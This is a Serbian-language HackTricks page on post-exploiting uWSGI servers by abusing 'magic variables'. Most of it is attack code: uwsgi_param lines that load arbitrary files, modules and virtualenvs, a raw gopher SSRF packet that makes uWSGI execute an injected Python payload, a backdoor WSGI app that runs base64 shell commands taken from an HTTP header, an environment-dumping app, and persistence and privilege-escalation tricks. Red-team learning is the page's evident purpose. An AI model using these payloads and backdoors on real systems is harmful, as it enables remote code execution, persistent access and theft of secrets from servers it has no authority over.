WSGI trikovi za post-eksploataciju
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled WSGI
Web Server Gateway Interface (WSGI) je specifikacija koja opisuje kako web server komunicira sa web aplikacijama i kako se web aplikacije mogu povezivati da obrade jedan zahtev. uWSGI je jedan od najpopularnijih WSGI servera, često korišćen za serviranje Python web aplikacija.
Eksploatacija uWSGI magičnih varijabli
uWSGI pruža specijalne "magic variables" koje se mogu koristiti za dinamičku konfiguraciju ponašanja servera. Ove varijable se mogu postaviti preko HTTP headera i mogu dovesti do ozbiljnih sigurnosnih ranjivosti ako nisu pravilno validirane.
Ključne iskorišćive varijable
UWSGI_FILE - Izvršavanje proizvoljnog fajla
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Ova promenljiva omogućava učitavanje i izvršavanje proizvoljnih Python fajlova kao WSGI aplikacija. Ako napadač može da kontroliše ovaj parametar, može postići Remote Code Execution (RCE).
UWSGI_SCRIPT - Učitavanje skripti
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Učitava navedeni skript kao novu aplikaciju. U kombinaciji sa file upload-om ili write capabilities, ovo može dovesti do RCE.
UWSGI_MODULE and UWSGI_CALLABLE - Dinamičko učitavanje modula
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Ovi parametri omogućavaju učitavanje proizvoljnih Python modula i pozivanje specifičnih funkcija unutar njih.
UWSGI_SETENV - Manipulacija varijabli okruženja
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Može se koristiti za izmenu environment variables, što može potencijalno uticati na ponašanje aplikacije ili dovesti do učitavanja zlonamerne konfiguracije.
UWSGI_PYHOME - Python Environment Manipulation
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Menja Python virtuelno okruženje, potencijalno učitavajući maliciozne pakete ili druge Python interpretere.
UWSGI_CHDIR - Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Menja radni direktorijum pre obrade zahteva, što se može iskoristiti za path traversal attacks.
SSRF + Gopher to
The Attack Vector
Kada je uWSGI dostupan preko SSRF (Server-Side Request Forgery), napadači mogu komunicirati sa internim uWSGI socket-om kako bi iskoristili magijske promenljive. Ovo je naročito opasno kada:
- Aplikacija ima SSRF ranjivosti
- uWSGI radi na internom portu/socket-u
- Aplikacija ne validira magijske promenljive ispravno
uWSGI je dostupan zbog SSRF jer konfiguracioni fajl uwsgi.ini sadrži: socket = 127.0.0.1:5000, što ga čini dostupnim iz web aplikacije putem SSRF.
Exploitation Example
Korak 1: Kreirajte zlonamerni payload
Prvo, injektujte Python kod u fajl kojem server može pristupiti (upis fajla unutar servera, ekstenzija fajla nije bitna):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Korak 2: Sastavite uWSGI protokol zahtev
Koristite Gopher protokol da pošaljete raw uWSGI pakete:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Ovaj payload:
- Povezuje se na uWSGI na portu 5000
- Postavlja
UWSGI_FILEda pokazuje na zlonamerni fajl - Prisiljava uWSGI da učita i izvrši Python kod
Struktura uWSGI protokola
uWSGI protokol koristi binarni format gde:
- Varijable se kodiraju kao stringovi prefiksirani dužinom
- Svaka varijabla sadrži:
[name_length][name][value_length][value] - Paket počinje zaglavljem koje sadrži ukupnu veličinu
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Zatim upotrebite UWSGI_FILE da učitate ovaj backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Perzistencija zasnovana na okruženju
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Otkrivanje informacija
Ispis promenljivih okruženja
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Pristup datotečnom sistemu
Koristite UWSGI_CHDIR u kombinaciji sa serviranjem fajlova da pristupite osetljivim fajlovima:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Ako uWSGI radi sa povišenim privilegijama, napadači mogu manipulisati dozvolama socket-a:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Prepisivanje konfiguracije
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Reference
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks